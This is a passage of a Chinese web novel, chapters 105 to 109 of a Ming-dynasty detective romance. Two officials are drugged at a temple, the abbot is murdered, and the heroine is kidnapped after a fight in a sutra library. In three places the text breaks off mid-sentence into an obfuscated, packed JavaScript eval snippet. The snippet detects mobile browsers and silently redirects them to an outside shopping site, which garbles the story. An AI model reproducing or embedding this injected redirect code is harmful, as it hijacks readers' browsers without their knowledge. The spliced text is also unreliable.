“随行官员说,红布与马车一同放在临枫阁的后院,应该就在那里。”他往佛像身后指了指,景暄和这才发现,那处还有一个小门,想来可以通向后院。 他们朝小门走去,后院不大,堆了一些杂物,红布被放在一口水井边,院中还停着一辆车,应该就是运送四眼佛的马车了。 景暄和将红布摊开,发现四角都挂着钩子,想来为了不让红布被风吹走,还用钩子固定在马车的四角了。 “这马车会不会有问题?” 景暄和仔细检查了马车上的四个钩环,也没有什么问题,唯一的发现就是,钩环好像比钩子要略大一些,不太配套。 万灵安也走近了马车,细细地端详着,他用手摸了一下车轮,似乎有些异色。 “这车轮看起来很干净,好像没问题,可是没有问题就是最大的问题。”他突然说。 景暄和一愣,立刻明白了他的意思,眼中绽出亮色,“暹罗距离大明少说也要走两、三个月,这么长的时间,车轮一定已经磨损了,而且佛像很重,这马车上必定会留下印子,可是什么都没有,所以说,这马车被人换过了,不是当时的那一辆!” “不错,案发时的马车一定暗藏机关,凶手藏于马车底座,因为红布盖住佛像,佛像一只手向前伸直,与身体处留有很大空隙,那人拿着断臂,便趁红布盖住后从底部爬出,悄悄沿着空隙将断臂放于佛手上,再藏进了马车的底座,这就解释了为什么断臂会凭空出现在佛手上。” “若是找到了真正的马车,凶手躲在其中,会不会留下什么蛛丝马迹呢?”景暄和心想,清水禅寺的后山很大,若要搜山,少说也要花费几天了。 万灵安的注意却在另一点上:“可是谁能够神不知鬼不觉地在佛寺中换掉马车,还不被其他人发现呢?” 景暄和背后一凉:“难道是……” 这时,她突然有些头晕目眩,瘫坐在地上,浑身发热,竟不由自主地颤抖起来,冷风一吹,愈加战栗。 “怎么了?” 万灵安看她神色不对,未免她吹风,便将她抱入了偏殿内,关上了门。 他让她靠在自己肩上,突然四肢百骸涌上一股奇异的感觉,全身也变得燥热无比,看着她嫣红的脸颊,突然意识到发生了什么事。 “怎么会这样……” 低头看向了手腕上的桃木串,不禁握紧了拳头。 他摘下景暄和的桃木串,又摘下了自己的,将它们抛到一边去。 可是木串与身体接触许久,已经中了药。 居然被暗算了。 106. 将计就计 景暄和只觉得越来越燥热,好像在沙漠前行的旅人,被头顶的太阳灼烧,连喉咙都有些干涸得说不上话,她的身上出了一层薄薄的汗,意识也渐渐变得不清醒。 她将身上的披肩解开,随意地扔在一边。 什么得道高僧,佛门主持? 明明就是妖僧! 那马车八成也是他换的吧,只是不知道他这样做是为了什么?!难道为了阻挠他们查案,不惜使用如此下作的手段吗? 万灵安并不比她好多少,额头渗出汗珠,他的眼前甚至出现了幻影,好厉害的药,他一向自恃冷心绝情,可在药物的作用下,连眼角都不禁红了。 呼吸逐渐急促起来,偏偏身体内还有寒毒的余毒,两种毒素交织起来,让他几乎不能自抑。 他双手抓住景暄和的肩膀,将她一推,压到了她的身上。 景暄和感受到了他的热烈,可是不行,绝不是在此! 身后突然一凉,裸露的肌肤触碰到了冰凉的地板,而他的吻落到了她的身上,逐渐如狂风暴雨一般。 门外有老臣咳嗽一声,“万大人,景大人,是否已经找到证据?” 见没人回答,老臣又叫了一声,景暄和一怔,这妖僧计谋太毒,若真被人发现他们在殿内痴缠,那么他们便名声尽毁了! 后半辈子别说做官,就连做人都会被戳脊梁骨了。 想到了事情的严重性,她凭借着残存的理智咬上了他的肩头,死死地搂住他的脖颈,不让他再动弹,闻到了血腥味,万灵安好像清醒了几分,他拍拍她圆润的肩膀,声音暗哑道:“快被你勒死了。” 景暄和这才放开了手臂。 他撇过头去,不再看她红润的脸庞,突然坐了起来,靠着柱子,捂住胸口道:“如今与殿外的人解释,他们定然不信,说不定还会和陛下参我们一本,说我们亵渎佛寺,胆大包天。这毒太邪性了,暄和,你离我远点,我真怕做出什么伤害你的事情。” “水?有没有水?” 景暄和突然灵机一动,看到殿内的角落有一水缸,赶忙拿起水盏,朝万灵安身上泼去,又往自己身上泼了水,才逐渐冷静下来。 可是万灵安中药好像更深,不一会儿又痛苦地闭上眼睛。 他嘴唇干涸,声若蚊蝇:“后院……后院有水井……” 这时,外面的老臣又拍了拍门,有人提议道:“大人们怎么一直不吭声,是不是遇到了什么事情?我们何不进去一瞧?” 万灵安此时已说不出话,景暄和大声道:“无事发生,本官正与万大人探查证据,尔等无需过多猜测!” 因为中了药,尾音不自觉地带上了一点娇媚,可是气势很足,果然吓住了外面的人。 “是,既然景大人有吩咐,我等便不打扰了。”外面有人说。 景暄和将万灵安扶了起来,让他的胳膊搭在自己的肩头,朝后院走去…… …… 玉泰大师早已借故离开了偏殿,小沙弥本想跟着,他却屏退了弟子们,只是自己一个人入了禅房。 禅房中放着一个木架,上面摆满了不同的袈裟与经书,在木架的角落放着一个瓷瓶。 环顾四周,见没人,便转动了那瓷瓶,只见木架后缓缓地打开了一扇小门。 他侧身进了小门,那门不一会儿便关闭了。 密道很长很黑,他心中紧张,顺着密道向前,终于看到了一丝光亮。 密道的尽头站立着一位男子,背对着他,戴着面具,看不清楚面容,他穿着一左衽圆领袍,袖口窄小,不动声色地调了一下自己的袖口。 玉泰大师恭敬地朝他行了一礼,“我已按照您的吩咐做了,事情已万无一失,若被殿外的老臣们发现,他们二人恐怕会身败名裂,只是我佛慈悲,贫僧犯下了如此罪孽,定不会被佛祖原谅了。” “是佛祖的原谅重要,还是那个孩子的生死重要?”那人用不流畅的汉语说道。 玉泰大师深深地叹了口气,“只要你能护住那孩子的周全,要我做什么都可以。” “哪怕是死?”那人斜睨了他一眼。 玉泰大师双目微怔,脚步不自觉地退后了一步。 *** 许久过后,偏殿的门“吱呀”一声开了。 景暄和身上湿漉漉的,衣服上全是暗红的血迹,她脚步似乎不稳:“阿呆,过来扶我一下。” 他似是吃了一惊,不是去查案吗,怎会如此的狼狈? 赶忙上前搀扶。 她擦了擦嘴角的鲜血:“刚才回答完你们后,我与万大人便去偏殿的后院查探,突然有贼人袭击,万大人为救我落入了水井之中,万幸保全了性命,不过也受了伤,有些神志不清,我拼死抵抗,敌人怕夜长梦多,仓皇逃跑了,庄炎、庄阳,快去后院将万大人抬出来,好好养伤。” 庄炎和庄阳俱是露出惊骇的神色,立马奔向了后院,还不忘吩咐小沙弥抬一副担架过去。 有一老臣不解:“可是景大人为何不高声呼喊,而是自己抗敌呢?我们可都在外面呢。” 景暄和摇了摇头:“后院与大门还隔着一座偏殿,这偏殿很大,高声呼喊都不一定能让你们听见,况且他刀刀都想毙命,我虽然功夫不错,却也被他所伤,若是分神去喊救兵,他趁我不备,两刀便可取我和万大人的性命了。” 老臣这才点点头。 景暄和向人群中望了一眼,果然不见了玉泰大师的身影,她说:“那贼人声称与玉泰大师是一伙的,内外勾结,尔等速派人去抓住玉泰,谁若抓住了他,当为头功!” 小沙弥们都有些迟疑,其中守门的胖沙弥扣了扣脑袋,说:“怎么会?玉泰大师是德高望重的高僧,在我清水禅寺当了十年的住持,怎么会和贼人勾结,这不可能啊?!” 他不说还好,一说景暄和就生气,不由得说:“玉泰大师给我和万大人的手串不正常,上面有……有迷药,正好在后院毒发了,这也是我没力气呼喊的原因,后面拼着一口气,才打退了敌人。” 她没有说是“春药”,而是说的“迷药”,就是不想这些老臣想入非非,乱嚼舌根子。 突然看见刚才玉泰大师身旁的小和尚目光闪躲,景暄和逼视道:“你师父给你两串桃木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这药力很霸道,景暄和终于逼出了毒素,却重重地吐了口血,染得衣衫尽红,很是吓人。 以这副狼狈的样子出去,肯定会被外面的人问长问短,景暄和突然心生一计,还不如说有贼人偷袭,顺便拉玉泰大师下水,反正那妖僧和沾染春药的手串肯定有关系,只有抓住他,才能顺藤摸瓜地查下去。 将计就计,她便开始将后院的东西弄乱,最好越乱越好,营造出进行过激烈战斗的样子。 “你刚才真的情难自禁了么?原来万大人还有那样一副模样啊。”景暄和不由得又回想起刚才万灵安唇干舌燥的样子,他眸光潋滟,好像很好被人欺负,和平常的雍容华贵、不易亲近可是天差地别,一想到此,不禁噗嗤一笑。 “你还笑?我虽然爱慕你,可是绝不会在那种情况下要了你……”他没有继续说,只是一把拉过她,让她坐在腿上,将她拥入怀里。 “好了,我不逗你了。”她戳戳他的脸颊,却被他抓住手。 不多时,庄阳过来回禀,玉泰大师已经找到了。 景暄和赶忙从他身上起来,开了门。 刚要仔细询问,庄阳却皱皱眉,说:“可惜,他已经成了一具尸体。死状惨烈,只是手上抓着一个暗扣,死死地不松手,可见是指向杀他之人的重要物件。” 107. 便害相思 景暄和刚要和庄阳一起走,万灵安却抓住她的手掌,道:“需要我和你一起去么?” 他想起身,谁知刚说完,脑袋就有些晕,不禁扶住了桌子。 心中暗骂了一句那药,两种毒素混杂在一起,一个像火,一个像冰,仿佛在他体内横冲直撞,虽然解了,可到现在整个人还木木的,使不上力气。 景暄和看他脸色不好,拍了拍他的手背,说:“我又不是小孩子,不过是验尸而已,我一个人可以的,你好好休息吧,我晚上再来看你。” 万灵安捏了捏她的手,又放在唇边亲吻了一下:“你说的,晚上一定过来。” 庄阳识趣地背过身去,只觉得自己要是透明的就好了。 “知道了,我说话算话。”景暄和很认真地说。 不知怎的,万灵安总觉得好像越来越依赖她了,甚至到了“一日不见,如隔三秋”的地步,此时的他,终于明白了前朝徐再思笔下的“平生不会相思,才会相思,便害相思”是什么意思了。 禅房窗外有一株枫树,叶子火红,一些叶子落到地上,被风一吹,卷到了她的脚边,她换上了一身玄色的衣衫,在先秦时代,这种颜色被视作天地的颜色,配着红色的枫叶,更显得深邃与幽远。 …… 众人见庄阳只领着景暄和前来,却没看到万灵安的影子,不禁问她万大人如何了,应该没事吧? 景暄和从善如流道:“万大人平日里为国操劳,太过疲累,如今中过迷药,身体自然需要休息,你们不必担心,他并无多大的事。” 众人这才点点头,有人舒了口气,有人却有些失望,他们各怀心思,只是很好地掩藏了自己的表情。 玉泰大师被一柄尖刀直插心脏,干脆利落,可见那人是个练家子,为了掩人耳目,他只用了市面上最常见的刀子,所以不能从凶器判断是哪里人做的。 这枚暗扣就显得十分重要了。 凶手杀完人后,立马遁走,却没发现玉泰在挣扎时无意中抓下了他的暗扣。 扣子是一枚墨玉,看起来很是稀有,仿佛来自异乡。 有一识货的老臣说:“景大人,臣的夫人十分喜欢收集玉石,和她在一起这些年,臣也耳濡目染了,这墨玉一看便是出自西域,质地细腻,色泽深沉,是西域上好的和田玉啊。” 又是来自西域? 这就有些奇怪了。 景暄和负着手,陷入了沉思。 仿佛有两伙人马皆是来自西域—— 一伙人马派出探子隐藏在河边村,伺机搜寻什么情报。 另一伙人马砍去探子的手臂,震慑第一伙人,让他们不要再肖想不该属于自己的东西,还让住持阻挠查案,想帮助真凶脱身。 景暄和的思路是,如此看来,她必须去了解一下如今西域的局势,也许只有找到其中的勾心斗角,关节之处,才能锁定这两伙人分别对应哪方。 案情逐渐明了起来,可心中还是有两个问题。 第一,玉泰大师为什么会听命于第二帮西域之人? 第二,暹罗王子的王妃麦娜尔也是来自西域,她会不会属于其中一伙人呢? 三日后皇上会大宴群臣,迎接暹罗来使,如果能在那个时候接近王子与王妃,应该能有意外的收获。 这时,阿呆突然过来,说他经过打听,发现玉泰住持早年曾远渡天竺求取真经,会不会是那个时候遇到过什么人,或者有什么奇遇。 “有道理,清水禅寺的经书都放在藏经阁中,那些经书中也许会有线索?”景暄和突然冒出来这个点子,她眼睛黑亮,充满自信的光芒。 他点点头,说:“老大,我们现在便去藏经阁一趟吧。” *** 此时在禅房之中,万灵安点起蜡烛,烛影摇曳,他拿起一本书,姿态淡然地翻开。 休息了一下午,庄志兴也来禅寺替他瞧了病,开了几味药,庄志兴有些担忧,说万灵安这些天必须好好休息,不能再过疲了,更不能受什么刺激。 万灵安说知道了,可庄志兴仍有些担忧:“万大人,您是文臣领袖,一定要保重身体啊,若您出了什么事,魏福忠之流便没人压制了。” “这世上缺了谁都能照常运行,若真到大厦将倾的那一日,便是命数该如此,人力不可扭转了。”万灵安只是说,又顿了顿,看庄志兴仍是神情紧张地望着自己,不禁宽慰他道:“庄大夫,请放心,没有斗倒魏福忠之前,我是不会有事的,况且,我现在还有想要陪伴的人呢。” 庄志兴自然知道他说的是谁。 “万大人能够这般想,便是最好了,老夫见证了您一路走来的不易,只求您能保重自己,老夫便放心了。” 他刚刚准备出去,庄炎却神色肃穆地进来,这肃穆之中还带一丝紧张,他的眉头紧紧皱起,和他父亲庄志兴差点撞了个满怀。 不同于小儿子庄阳的活泼,大儿子庄炎一向是个沉静的性子,是什么事让他如此慌张呢? 肯定是大事。 庄志兴不想打扰他们,便赶快关上了门。 “万大人,查到了,魏福忠这些时日攀上了齐王那条线,二人来往密切,看来是想帮助齐王谋夺储君之位啊。” 齐王的封地在山西太原府,他是先皇兄弟的儿子,一个旁支王爷,没想到,魏福忠会将主意打到他的身上。 “天下皆知,陛下宠爱姑母一人,可是姑母在早年滑胎后,便没有再生孩子了,魏福忠一定是看到了这点,所以想急着为自己谋求后路,殊不知这到底是后路,还是一条绝路呢。” 万灵安的声音很清淡,其实齐王对魏福忠来说是一个很好的人选,他性格软弱,母族又不强盛,在朝中更无根基,若他能当皇帝,能够依靠的也只有魏福忠一人罢了,那他又可以光明正大地当他的九千九百岁了。 “大人,之前您说魏福忠已经找到了黎正,这些天的布局,黎正是不是也参与了?” 万灵安眉头一挑,“那是必然的,有了这位助力,魏福忠怎会将他束之高阁呢?” “这些阉人,简直是沆瀣一气!亏黎正与您小时候还有交情,难道他都忘到九霄云外去了吗,居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095722|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助纣为虐!”庄炎气不过,又想起黎正以前与万灵安有旧,不禁闭了嘴,没有再说下去。 “皇权若想对权力进行垄断的追求,就会诞生宦官专权这一弊端,与其说是宦官专权,不如说他们是皇权的附属品,皇帝需要有自己的小内朝,来对抗外朝的臣子,从而实现权力的统治,可是如今魏福忠野心越来越大,不光想把控朝政,还想废立皇帝,这种情况在晚唐也许比较多见,可在大明,却还从来没发生过。原来魏福忠,他是想做大明第一宦官啊。” “可是在庄炎看来,宦官都是些不阴不阳的东西,陛下何至于如此信任他们?” “在你眼中,宦官可能不正常,可是陛下从小长于深宫,身边不是宦官就是宫女,在他的眼中,宦官是再正常不过的存在了,而且魏福忠与陛下朝夕相处,几乎是看着他长大的,他最能体会陛下的心思。不止如此,魏福忠正是因为不能生儿育女,所以当不了皇帝,陛下才会更信任他,这也是他的优势。” “大人看问题如此透彻,庄炎佩服。” 万灵安目光清明,放下书,道:“只是有一点我有些疑惑。” “嗯?” “陛下尚且年轻,我姑母也并非过了可生育的年纪,为何魏福忠那么肯定,陛下不会有自己的孩子呢?” “万大人,您的意思是……” “在陛下眼里,什么贪污受贿、结党营私,都不是大事,唯有一点,就是魏福忠必须对他忠心,若他不忠心,也就没有留下来的必要了。如果这位东厂厂公真的那么大胆,敢对陛下未来的龙嗣不利,那他的好日子,也就到头了。”万灵安的眼中染上一丝杀气,手指不自觉地收拢。 庄炎恭敬地点头:“是,我会朝这个方向深挖下去,若明贵妃不孕真与魏福忠有关,便能顺势踩倒他,让他永无翻身之日。” “甚好,下去吧。” 庄炎刚想出门,万灵安却看了看窗外,此时明月初升,已是晚上了。 “等等,这件事先别让其他人知道,若泄露了消息,恐怕魏福忠会像疯狗一样咬上来,不惜一切代价也要将我们撕碎。” “庄炎知道了。” 万灵安抿了一口茶,状似无意道:“景大人还在忙么?” 他没有忘记她走之前跟他说的话。 “景大人和她的手下往藏经阁的方向去了,应该是查案忘记了时间。” “手下?你是说阿呆吧。”万灵安又问庄炎:“你知道他的真名是什么吗?” “不知,只听见景大人一直叫他‘阿呆’,看他呆头呆脑的样子,这个名字倒也适合他。”见万灵安神色有异,庄炎不禁说:“大人觉得他有问题?不会吧,看起来呆呆的,实在是不起眼。” “总觉得有种熟悉的感觉,又说不上来,也许是我多想了吧。”万灵安起身,见窗外下起了小雨,便拿了把伞。 “天色不早了,万大人是要去哪里?” “既然她没有时间过来见我,那只有我去接她了吧,秋雨寒凉,总不能叫她淋雨了。”万灵安神色难得地增添了一抹温柔。 108. 藏经阁内 藏经阁位于清水禅寺的后部,紧靠着后山,足以证明它对于整个寺庙的重要性,周围还生长着许多稀有的树木,相传是历朝历代住持亲手种下的。 和尚们守在门口,见景暄和来了,知道她是来查案的,询问了几句便将她与手下放了进去。 刚进藏书阁,就被里面的诸多佛经给震慑住了,不禁啧啧称奇,如此多的佛学著作,浩如烟海,不光是佛教的传承,还是历史的记录。 共分为上下两层,每一层都有几十只满满当当的书架。 “阿呆,我想到了佛经会很多,却没想到会有这么多!”景暄和仰头望着高大的书架,不禁擦了把汗。 一瞬间,她仿佛站在历史的长河之中,无数前人留下来智慧的结晶,后人传承下来,再传给下一代,仿佛薪火相传一般。 窗子吱呀一声,好像没关紧,漏进来一缕清风,将她的思绪打断。 “老大,我们何不对照着时间来找?只要去找玉泰住持前往天竺那段时间收集回来的佛经,便可以了。” 景暄和点头,这倒不失为一个好办法。 她将一个小沙弥叫过来,那沙弥带着他们去到后方,指了指身后三只书架,说:“都在这里了。” 得,就算排除了其他,还有三大书架的佛经等着他们呢。 “对了老大,高大虎他们兄弟几个呢,怎么不见人影了?如果他们在,还有信得过的人可以帮忙呢。”他拿起一本佛经,吹了吹上面的灰尘,问道。 景暄和清了清嗓子,“齐三陌要帮我去打探消息,而其他三人,我已将他们派到了河边村,我总觉得,这三名西域探子潜伏大明多年,一定是在找什么重要的东西,必须弄清楚,否则终成大患。” 他点点头,打开一本佛经,突然“哎呦”了一声。 景暄和不解,凑过头去看,不看不要紧,一看就明白了阿呆是什么意思。 佛经中全是密密麻麻的天竺文字,完全看不懂,只有一只书架上面是译文,其余两只书架全是番邦文字。 千算万算却没算到文字这一点,景暄和只觉得自己实在是大意。 “我们先去看看译文的那只书架吧。”她提议道。 二人饶过架子,往后方的书架走去,对照着年限,来到了一排书籍面前。 按照顺序拿了本书,点了几只蜡烛,景暄和盘腿坐下开始翻看。 他也拿了一本,挨着她的身边坐下。 外面雨打芭蕉,空气中弥漫着潮湿的味道。 蜡烛周围好像有一圈毛茸茸的光晕,她的影子打在后面的墙壁上,静谧而唯美。 可惜,二人翻看了许久也没找到什么特别的地方,看来只能寄希望于那些未被翻译的佛经了。 像是想起了什么,景暄和说:“紫禁城四夷馆不是有众多学子么,其中就有天竺文的学子,我们何不去找四夷馆的馆主,让他帮我们引荐一下。若能得到馆主的相助,那么事情便好办多了。” “四夷馆的馆主苏仪可是个怪脾气,这老头谁的面子都不给,时间也不早了,我们真的能请动他吗?”他望了望窗外,只见暮色四合,阴沉沉的,仿佛还有淅淅沥沥的雨声,混杂着绵长的钟声,仿佛亘古就存在的奇音。 “总要试一试吧。”虽然心里也没把握,可是如今也只有请他帮忙了。 空气中湿漉漉的,仿佛有泥土的清香,窗子在雨中关关合合,被风吹着舞动。 见雨点入了藏经阁内,景暄和起身去关窗,却发现了窗台上有一只脚印。 浅浅的,很轻,但形状上的确是脚印。 还是一只男人的脚印。 眉头一跳,就在这空荡的时候,景暄和突然听见房梁上传来一声呼吸。 不是出自她,也不是阿呆。 而是另一人! 还有另一人也在藏经阁,正趴在房梁上,监视着他们的一举一动! 景暄和的心脏骤然收紧,汗毛都不禁竖起来了,可是越到这种时候越不能暴露内心的慌乱,她突然对阿呆笑了一下,说:“我刚才忘了问,你邻居家养的那只母鸡什么时候生小鸡呀?” 他被她没头没脑的话弄得有些疑惑,那只母鸡不是早死了吗? “母鸡?你说的是哪只?” “就是你邻居家那只……你不是总说你邻居家房梁有问题,要去帮他们修吗,那户人家,你不记得了?你还说他们家总是进盗贼,明明家徒四壁的,也不知那贼人来偷什么。” 她悄悄朝他使了个眼色。 房梁…… 贼人…… 他立马明白了她的意思。 下意识想抬头,却被她给按住了肩膀,她从齿缝间露出一抹笑:“不过也不慌,外面在下小雨,等天气好了,你再去帮他们看看吧。” 她的笑容明丽而清隽,让他一瞬间晃了神,等他回过神时,她突然以迅雷不及掩耳之势向房梁的方向射出三枚银针。 那人一时没意料到,竟然直直地掉下了房梁。 这三根针上都淬了毒,是景暄和特意研制对付敌人的。 他将三根银针拔出来,怒骂了一声。 景暄和听不懂他的语言,只觉得那人似乎出离了愤怒,他动作极快,一瞬间便从地上弹了起来,大大地出乎了景暄和的意料。 这毒她试验了许多次,百试百灵,这人居然毫发无伤! 她忙将阿呆护在身后,抽出绣春刀,和那人打斗了起来,他的身法很怪,武功灵活多变,仿佛幽灵一般,一下子就飘到了她的身边。 她本与他势均力敌,可是之前为了解毒内力用了太多,如今强行运功,只觉得气力逐渐不支,她拼尽全力,砍向了那人,那人向后退了几步,吐了口血,也顾不得怜香惜玉了,一掌拍过去,掌风强劲。 景暄和摔到了地上,玄色的衣裳沾满了灰尘。 余光突然见到那人一只袖子没有暗扣,应该就是杀害玉泰住持那人了。他的袖中似乎藏着一本书,难道他先他们一步来到藏经阁,就为了找这本书? 若如此,这便是关键证据,绝不能让他拿走! 她放出小蛇,阿彩奋力朝前滑动,一下子就咬了那人一口。 那人突然倒地,动弹不得。 之前,景暄和发现阿彩虽然速度很快,却没毒,就像花架子一般,便找人研制了一种特制的麻药,涂在阿彩的信子上,这样危险时刻还能保命,没想到真的用上了。 她将那人的蒙面扯掉,只见他高鼻深目,皮肤黝黑,目光炯炯有神,一看就是西域之人。 从那人袖中抽出佛经,还没翻开,脚却动不了了。 那人像鬼魅一般抓住了她的脚。 还没意识到发生了什么,那人袖中突然伸出一只铁钩,将景暄和拖到了地上。 她在倒地之前将佛经朝阿呆一扔。 “阿呆,快走!”奋力地向他呼喊道。 他的额头滴下了冷汗,抓住佛经,脚步却像灌了铅一般。 “你的麻药很厉害,可惜,我是个药人,天下毒药对我皆没有用处!”那人冷哼了一声,就要去追砍阿呆,景暄和死死地抱住他的腿。 “阿呆,走啊!将佛经交给万大人!”她重复了一声,似乎要呕出鲜血。 他顿了顿,仿佛做出了一个艰难的决定,终于推开大门,朝着门外跑去…… 看着阿呆在雨中逐渐变小的身影,她终于松开了手,陷入了黑暗之中。 …… 他在雨中用力地奔跑着,雨越下越大,仿佛要浸湿他的灵魂。 大口大口地喘息着,一瞬间,他的大脑一片空白,眼前也是一片模糊,像被蒙上了一层纱布。 雨中似乎有一人打着把伞,孑孓独行,他的步伐沉稳,让人觉得,即使大雨让天地失色,他也能让天地重新恢复色彩。 见到是他,万灵安似乎有些惊讶,可看到他狼狈的样子,似乎预感到了什么。 他“扑通”一声朝他跪下,将佛经高高地举起。 “万大人,这是景大人交给您的证据……” “她如何了?”万灵安抓住他的衣领,看也没看那佛经,一双眼睛写满了焦虑。 “老大和黑衣人缠斗,被抓走了,她拼死留下证据,只为了……” “闭嘴!”万灵安狠狠地掐住他的脖子,仿佛只要一用力,就能掐断他的喉咙。 “你的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150198|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思是,你扔下她一个人,独自跑了回来?!” “我……”他额头青筋暴起,几乎被他掐得说不出话,似乎下一秒就会窒息,却没有一丝一毫的反抗,只是睁着通红的眼睛盯着他。 毫无畏惧。 “若她伤了一根毫毛,我会让你也受同等的伤害,若她出了事,我会让你陪葬!” 万灵安一下子松了手,嫌恶地将他丢到了一边。 他胸膛起伏,仿佛溺水的鱼儿重回岸边,大口地呼吸着。 “我和你不一样!我听从她的命令,她要我做什么我就去做,哪怕她要我去死,我也会毫不犹豫地听她的!”他捂住胸口,用尽全力地说道。 “别为你的胆小怕事找借口,你这样的人,不配提她的名字。”万灵安甩开袖子,拿起佛经,头也不回地离开了。 他抬头,深沉地望了一眼万灵安离去的背影。 *** 不知过了多久,景暄和在一片湿冷中醒来。 她身处于山洞之中,手脚被绑住,旁边有柴火噼啪作响,外面已经全黑了,只听见大雨倾盆而下的声音。 黑发粘在脸颊上,她的玄衣似乎要与黑夜山洞融为一体了。 那人正在烤鹌鹑,没有多少佐料,只是草率地放了点随身带着的盐。 突然转过头来,充满敌意地盯着她,景暄和被吓了一跳。 “喂,我和你无冤无仇,你抓我过来干什么?”景暄和的声音有些哑,也许是有些着凉,鼻音很重。 “无冤无仇么?”那人冷冰冰地说:“你想用毒药,置我于死地,还说没有仇。” 他的汉语虽不流畅,却让她听得很清楚,也是夜晚太安静的缘故,衬得他的声音比外面的雨还冷。 景暄和轻咳了一声:“不不不,你可别弄错了,我没想杀你,那三根银针虽然淬了毒,可我有解药,不会让你去死的,这是我潜心研制的东西,使用效果很好,你要相信我。” “你……”他似乎有些无语,这种境地下,她还能这么淡定? 又见她大而乌黑的眼睛在柴火的映照下显得秀美非凡,好像这淡定并不是装的。 他突然靠近她,她警觉地后退了一些。 “我身上全是暗器,你最好离我远一点,如果误杀了你,可别怪我。” “你这小姑娘,真是牙尖嘴利。”他拿起一根木棍,翻了翻柴火。 她下巴轻抬,眼珠一转,反正闲着也是闲着,对方好像不想取她性命,难道是觉得她有什么利用价值? 不禁冷静道:“其实我和你一样,只是下面做事的,虾兵蟹将而已,又何必互相为难?只是我们各为其主,你要不将我放了,我保证不会乱说,就当刚才发生的事情全是幻觉。” “我才不信你们汉人的鬼话。”那人将木棍指着景暄和:“别以为你貌美我就会对你手下留情,在我眼中,你不过就是一团会说话的肉而已。” “谢谢你夸我美,只是……会说话的肉?”也不知是他汉语不好,还是景暄和的理解有问题,她第一次听到有人这样来形容人类,不禁笑了起来。 “你这西域人倒有意思,不过你要杀我,也要让我死个明白吧,玉泰大师到底为什么听命于你们。” “他不过就是主人的棋子罢了……”那人顿了下,突然警觉地望向景暄和,“你这狡猾的女子,想套我的话么?” “我只是想死个明白罢了,你不想说,便不说吧。”她闭上眼睛,开始假寐,只感觉到他的目光一直停留在她的脸上。 景暄和皱了皱眉,心想:他不会见色起意吧?手下默默地抓起一块石子防身。 奇怪的是,那人却只是盯着她。 终于受不了了,她睁开眼睛,问:“你看我做什么?” “只是觉得,你长得很像一个人,我们部落的……”他没有继续说,只是紧抿薄唇。 景暄和很有些疑惑,他为何说她长得像西域部落的某人? “主人的命令是杀掉一切阻碍他计划的人,可是你长得很像她,所以我一直在犹豫,要不要杀你,现在,我想清楚了。” 说罢,他拿出一把尖刀,利刃在火光下一闪,锋利无比。 109. 山洞遇险 冷风一吹,火光乍起,火星子随风打了个旋儿。 景暄和不禁默默地向后移动了两步,却抵住了山洞的墙壁。 躲避是没用的,只能直面了。 “你要干什么?”她冷静道:“若是杀了我,朝廷必定会帮我报仇的,到时候你和你的主人都会吃不了兜着走。” 看着她满是防备的眼神,那人突然将火焰上的木棍拿下来,用刀将烤好的鹌鹑劈成了两半,取下来一半,兀自吃了起来。 景暄和唇畔一抿,原来是误会他了。 可是还是不能掉以轻心,她目光盯着前面的墙壁,余光却不忘注意他的一举一动。 那人吃的很干净,最后抹抹嘴,丢给景暄和另外半只鹌鹑。 她的手被绑住,不好拿,那人只得放到她手上。 景暄和勉强地对付了一餐,说:“这鹌鹑倒是新鲜,可惜只有盐为调料,真是可惜了这大好的食材,若给我来做,一定能完全发挥它的美味。” 那人睨了她一眼:“你这女子倒是奇怪,难道除了炙烤,还有其他方法么?” 景暄和点点头,“当然!大明宫廷中有一美味,名曰‘卤煮鹌鹑’,挑出最肥嫩的鹌鹑,盐渍半个时辰左右,再将鹌鹑放入卤汤之中,煮熟即可,这样做出的鹌鹑,香味浓郁,令人食欲大增,可惜山野之中,只有炙烤这一种做法了,能够填饱肚子就是运气来了。” 那人好似咽了口唾沫。 景暄和见势说:“你若是答应放了我,我不光绝口不提你绑架我的事情,还会给你做这道‘卤煮鹌鹑’尝尝鲜,这样算来可是顶划算的买卖,不知你意下如何?” 她使出杀手锏,用美食来诱惑他。 那人冷哼了一声,意思很明显:我是这样的小恩小惠就能收买的吗? 景暄和故作无奈地叹了口气:“这位仁兄,我们何不打开天窗说亮话,你不杀我,也不放我,到底是什么意思?” “我听命行事,从不杀无辜之人,可是你却让我有些头疼,十天之内,我不能放了你。” “为什么是十天?”景暄和问道。 “因为十天之后……”他突然闭了嘴,警觉地望向她:“你是想套我话?别做梦了。” 景暄和的大脑飞速运转,十天后是什么特殊日子么?思来想去,只有一点,那就是暹罗王子会带着王妃回国,难道杀人凶手,就隐藏在他们的队伍之中? 若是十天之后放虎归山,就仿佛泥牛入海一般,便是想抓也抓不住了。 她一计不成,又想了一计。 状似无意道:“你应该是个杀手吧,可是你刚才说,从不杀无辜之人,我看却是说得好听,废话一句,做不得数的。” “你说什么?”那人似乎有些怒意,“我行得正坐得直,从不说谎。” 